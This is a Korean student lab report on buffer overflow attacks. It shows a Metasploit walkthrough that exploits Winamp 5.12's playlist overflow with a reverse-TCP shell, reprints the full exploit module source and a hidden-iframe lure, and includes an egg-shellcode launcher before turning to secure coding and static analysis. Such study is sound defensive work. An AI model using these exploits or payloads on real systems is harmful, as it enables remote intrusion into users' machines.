본문 바로가기

Learning/└보고서

Buffer overflow Attack Report

 

 

 

 

 

 

 

BOF 공격 리포트

[buffer over flow attack report]

 

 


 

목 차

 

0. 개요 ...........................................................................................................1

 0.1 보고일정 및 테스트 환경 .........................................................1

 0.2 BOF 분석 추진 배경 ....................................................................2

 

2. BOF의 개념 ...........................................................................................3

2.1 버퍼의 개념 ......................................................................................3

 2.2 BOF의 개념 ......................................................................................3

 

3. BOF공격 방법........................................................................................4

 3.1 힙오버플로우....................................................................................4

 3.2 스택오버플로우 ..............................................................................4

  

4. BOF 공격..................................................................................................5

   4.1 원격 BOF공격 ..................................................................................5

   4.2 BOF 공격분석 ..................................................................................8

 

5. 대응 방안 .................................................................................................9

    5.1 BOF에 취약한 함수.......................................................................13

    5.2 보안코딩 가이드 ...........................................................................14

     5.3 보안코딩에 도움이 되는 프로그램 ......................................14

 

6. 결론 ...........................................................................................................17

 

7. 참고 자료 ...............................................................................................18

   7.1 참고 문헌 ........................................................................................18

   7.2 참고 웹 문서 .................................................................................18

   7.3 참고 논문 ........................................................................................18

 


 

0. 개 요

 

0.1 보고개요 및 테스트 환경

 

1) 조사

2) 환경구출

3) 공격수행 및 BOP테스트

4) 보고서 작성 및 발표 

 

테스트 환경

 

Firewall

192.168.10.100

 

win7

192.168.20.202

 

Linux

192.168.10.50

  

 

 

0.2 BOF 분석 목적 및 추진배경

 

a. 목적

수업시간에 배운 BOF 공격은 프로세스구조와 자료저장방식 함수 호출과정 및 리턴과정, 함수 실행 과정에 대한 정확한 이해가 필요한 방식이기 때문에 전문적인 지식을 요하지만, 전문적인 지식을 요구 하는 만큼 강력하고 오래된 기술임에도 불구하고 현재까지 다양하게 활용되는 기법으로 본 조사서에서는 BOF 공격원리와 대응 방안에 대해 조사해보고 BOF공격에 대한 위험성을 인지하고 이해도를 올려 대응 할 수 있도록 하고자 한다.

 

BOF는 지속적으로 공격에 사용되고 있음에 BOF공격이 어떻게 이루어 지는지 알아 보고자 한다.

 

2. BOF의 개념

 

2.1 버퍼의 개념

 

 

버퍼(buffer)란 시스템이 연산 작업을 하는데 있어 필요한 데이터를 일시적으로 메모리 상의 어디엔가     

저장하는 공간을 말한다. 문자열을 처리할 것이라면 문자열 버퍼, 수열이라면 숫자형 데이터 배열이다. 대부분의 프로그램에서는 버퍼를 스택에 생성한다.

스택은 함수 내에서 선언한 지역 변수가 저장되게 되고 함수가 끝나고 나면 반환된다. 이것은 malloc()을 통한 반영구 적인 공간과는 다르게 일시적인 것이다.

 

 

 

 

 

 

2.2 BOF의 개념

 

 

버퍼 오버 플로우는 미리 준비된 버퍼의 크기보다 큰 데이터를 쓸 때 발생된다. 예를들어 40

바이트의 스텍에 40바이트 보다 큰 데이터를 쓰면 버퍼가 넘치게 되고 프로그램은 에러를 발생시키게 된다. 버퍼가 넘치게 되면 이전함수의 base point를 수정하게되고 return address가 저장되어있는 공간을 침범하게 된다. 여기서 시스템에게 첫 명령어를 간접적으로 내릴수 있는 부분은 return address가 있는 위치이다. 버퍼 오버 플로우 공격은 메모리상의 임의의 위치에 원하는 코드를 저장시켜 두고 return address가 저장되어있는 지점에 그 코드를 집어 넣음으로해서 EIP에 공격자의 코드가 있는 곳의 주소가 들어가게 해 공격을 하는 방법이다. 따라서 공격자는 정확한 return address가 저장되는 곳을 찾아 return address를 정확하게 조작해 줘야 한다.

 

 

이러한 오버플로우에는 힙오버 플로우스택오버 플로우가 있다.

 

 

3. BOF공격 방법

 

 

3.1 힙오버플로우

 

힙이란 응용 어플리케이션에 의해 동적으로 할당되는 메모리 영역이다. 힙영역의 함수 오버 플로우

 시키는 것이 힙 기반 오버 플로우이다 주로 힙의 하위버퍼를 오버 플로우 시켜 상위 힙의 동적변수에 원하는       데이터를 덮어 쓰는 기법을 사용한다.

 

 

 

 

3.2 스택오버플로우

 

스택기반 버퍼 오버 플로우 공격은 스택공간에 정해진 버퍼보다 큰 코드등을 삽입하여 루트쉘을 실행시키기 위해 시도되는 공격이다 주 공격대상이 되는 프로세스는 SETUID로 실행되는 rlogin들의 프로그램과 strcpy(), sprintf(), gets()들 실행이 경계값을 체크하지 않는 함수를 포함하는 프로그램이다.

 

 공격방법은 SETUID 프로그램을 실행시키고 쉘코드를 잠고있는 버퍼를 프로그램에 적용시켜

 버퍼를 오버플로우 시켜서 실행한 루트쉘을 얻는다.

 

 

 

 

4. BOF 공격

 

4.1 BOF공격

 

Winamp Playlist UNC Path Computer Name Overflow

 

1.winamp v5.12가 설치되어있는 window환경에 공격을 준비한다.

 

2. 원격 공격을 하기 위해 msfconsole을 실행한다.

# msfconsole

3. winamp를 공격하기 위한 exploit을 사용한다.

# windows/browser/winamp_playlist_unc

winamp Playlist UNC path Computer Name Overflow

4. reverse_tcppaload로 설정한다.

msf > use windows/browser/winamp_playlist_unc

5. 리눅스를 리슨상태로 놓고 공격용 페이지를 만든다.

set payload windows/shell/reverse_tcp

show options

set srvhost 192.168.10.50:4444

set lhost 129.168.10.50

run

6. 윈도우 환경에서 공격용 페이지에 접속

웹사이트 : http://192.168.10.50:8080/mIcnAPxSYZV

 

 

 

 

7. 윈엠프의 플레이 리스트에 BOF 공격이 수행된다.

 

8. 리슨상태인 리눅스 환경에서 원격공격이 성공

msf > sessions -i 1

C:\Program Files (x86)\winamp> whoami

whoami

root:pc\root

 

 

4.2 BOF 공격분석

##

# $Id: winamp_playlist_unc.rb 9179 2010-04-30 08:40:19Z jduck $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

#

# This module acts as an HTTP server

#

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Winamp Playlist UNC Path Computer Name Overflow',

'Description' => %q{

This module exploits a vulnerability in the Winamp media player.

This flaw is triggered when a audio file path is specified, inside a

playlist, that consists of a UNC path with a long computer name. This

module delivers the playlist via the browser. This module has only

been successfully tested on Winamp 5.11 and 5.12.

},

'License' => MSF_LICENSE,

'Author' =>

[

'hdm',

'Faithless <rhyskidd [at] gmail.com>'

],

'Version' => '$Revision: 9179 $',

'References' =>

[

['CVE', '2006-0476'],

['OSVDB', '22789'],

['BID', '16410'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Payload' =>

{

'Space' => 526,

'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",

'Compat' =>

{

'ConnectionType' => '-find',

},

# Landing on \x5c\x5c trashes esp, restore from ecx

'PrependEncoder' => "\x87\xe1",

'StackAdjustment' => -3500,

# Dont need them, dont want them, preserve esi

'DisableNops' => true,

},

'Platform' => 'win',

'Targets' =>

[

# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00

[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],

],

'DisclosureDate' => 'Jan 29 2006',

'DefaultTarget' => 0))

register_evasion_options(

[

OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])

])

end

def on_request_uri(cli, request)

if (not request.uri.match(/\.pls$/i))

if ("/" == get_resource[-1,1])

pls_uri = get_resource[0, get_resource.length - 1]

else

pls_uri = get_resource

end

pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls"

html =

"<html><body>"+

"<script>" +

"document.location='#{pls_uri}'</script>" +

"One second please...</body></html>"

send_response_html(cli, html)

return

end

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the compressed response to the client

send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })

# Handle the payload

handler(cli)

end

def generate_playlist(payload)

pcnt = rand(10)+10;

file = rand_text_english(1026)

file[1022 , 4] = [target.ret].pack('V')

file[0, payload.encoded.length] = payload.encoded

play =

"[playlist]\r\n" +

generate_songs(pcnt) +

generate_song(pcnt + 1, "\\\\#{file}") +

generate_line('NumberOfEntries', "#{pcnt+1}") +

generate_line('Version', '2')

return play

end

def generate_space

if datastore['PlaylistSpaceInjection'] == true

return rand_text(rand(100)+1, nil, " \t")

else

return ''

end

end

def generate_song(id, file)

return generate_line("File#{id}", file) +

generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +

generate_line("Length#{id}", "%x" % (rand(1024) + 30))

end

def generate_line(key, value)

return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"

end

def generate_songs(cnt)

songs = ''

1.upto(cnt) do |i|

songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))

end

return songs

end

end

 

winamp 프로그램내에서 PLS 파일을 파싱하는 과정에서 문제가 발생하여. winamppls 파일을 넣을때 File1 인자에 대해서 문제가 발생하였다.

pls m3u , cda formatwinamp 상에서 사용자가 작성이 가능한 리스트이며 만약 pls 파일내의 File 인자에 과도한 길이를 입력할 경우 (대략 1040byte) Overflow가 발생되며 임의의 명령을 실행 시킬 수 있었다.

 

 

<html><body><iframe width="0" height="0" marginwidth="0" marginheight="0" border="0" frameborder="0" src="crafted.pls"></iframe></body></html>

 

위의 악성코드를 포함한 html 파일에서 다운 받도록 하는 crafted.pls 파일의 내용은 playlist 항목의 형식을 그대로 유지하고 있으며 File 인자에 입력이 되는 문자열의 길이가 충분히 길 경우에 Overflow가 발생 되게 된다.

 

 

 

WINAMP Application 설치 PC 상에서의 감염 유형

자동실행 winamp 확장자가 매칭되어 자동 실행으로 설정이 될 경우 악성코드를 포함한 .pls 파일의 다운로드시 winamp가 자동 실행 되며 overflow 발생되어 winamp를 실행시키는 권한으로 임의의 명령 실행이 가능함 ( ex:calc.exe)

임의 실행 악성코드를 포함한 .pls 파일을 더블클릭 하거나 열기를 선택 할 경우 winamp가 실행이 되며 이후 임의의 명령 실행이 됨

 

5. 대응 방안

 

5.1 BOF에 취약한 함수

 

버퍼오버 플로우에 취약한 함수를 대체

strcpy()

strcat()

gets()

fscanf()

scanf()

sprintf()

sscanf()

vfscanf()

vsprintf

vscanf()

vsscanf()

streadd()

strecpy()

strtrns()

strncpy() , strncat(), fget(), snptintf() 등으로 대체 한다.

 

5.2 보안코딩 가이드

 

버퍼의 범위를 벗어난 곳에서 읽는 경우를 방지한다. 버퍼의 공간내의 읽기가 아닌 버퍼의 시작 전의 위치나 버퍼의 공간 뒤의 메모리를 읽게 되면 의도하지 않은 오류가 발생된다.

 

 

5.3.1 보안코딩에 도움이 되는 프로그램

 

정적 분석

 

정적 분석이 안전하다는 것은 정적 분석을 통해 대상 프로그램에 버퍼 오버플로우 취약점이 존재하지 않는다는 결론을 얻었다면, 실제로 대상 프로그램을 어떠한 방법으로 수행하더라도 버퍼 오버플로우가 발생하지 않는다는 것이 보장된다는 의미이다.

 

yasca , ITS4 , FlawFinder , RATS , BOON , Splint ,

ARCHER , Coverity , PolySpace C Verifier , Airac5 ,

 

 

5.3.2 yasca 프로그램 예시

 

HACK ME 시스템 공격에 취약한 코드

{

 

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET;

int bsize=DEFAULT_BUFFER_SIZE;

 

int i, eggsize=DEFAULT_EGG_SIZE;

 

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

 

if (!(buff = malloc(bsize)))

{

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize)))

{

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_esp() - offset;

printf("Using address: 0x%x\n", addr);

 

ptr = buff;

addr_ptr = (long *)ptr;

for(i=0; i<eggsize - strlen(shellcode) -1; i++)

*(ptr++) = NOP;

for(i=0; i<strlen(shellcode); i++)

*(ptr++) = shellcode[i];

 

buff[bsize - 1] = '\0';

egg[eggsize -1] = '\0';

memcpy(egg, "EGG=", 4);

putenv(egg);

putenv(buff);

system("/bin/sh");

}

 

5.3.3 yasca를 통해 취약한 코드를 찾아낸다.

 

6. 결론

 

BOF 공격을 20년 이상 지속된 오래된 기법이지만 강력하게 발전해나가고 있다.

로컬에서 뿐만 아니라 원격에서도 악성코드를 이용해 강력한 공격을 하는 BOF 공격을 막기 위해서는 우선적으로 프로그래머의 보안코딩과 지속적인 보안 패치가 중요하다.

사용자입장에서도 최신 버전으로의 패치가 우선되어져야 하며 보안을 담당하는 보안담당자로서는 다른 공격과 함께 BOF 공격에 대한 취약점이 없는지를 검사하기 위해 프로그램의 실행에 대한 정확한 이해가 필요하다.

 

7. 참고 자료

 

7.1 참고 문헌

 

시큐어 코딩 가이드

 

해킹, 파괴의 광학

 

문제풀이로 보는 시스템 해킹

 

7.2 참고 웹 문서

 

http://www.exploit-db.com/exploits/16531/

 

시큐어 코딩가이드

 

bufferoverflow_달고나

 

http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html

 

7.3 참고 논문

 

버퍼오버플로우 검출을 위한 정적분석 도구의 현황과 전망

 

버퍼오버플로우_취약성과_인프라_공격

 

버퍼오버플로우로부터_리턴주소를_보호하기_위한_분리된_메모리_스택_설계

 

스택가드를_개선한_버퍼_오버플로우_공격으로부터의_대응책

 

컴파일러_확장을_이용한_효율적인_버퍼오버플로우_공격_방지_기법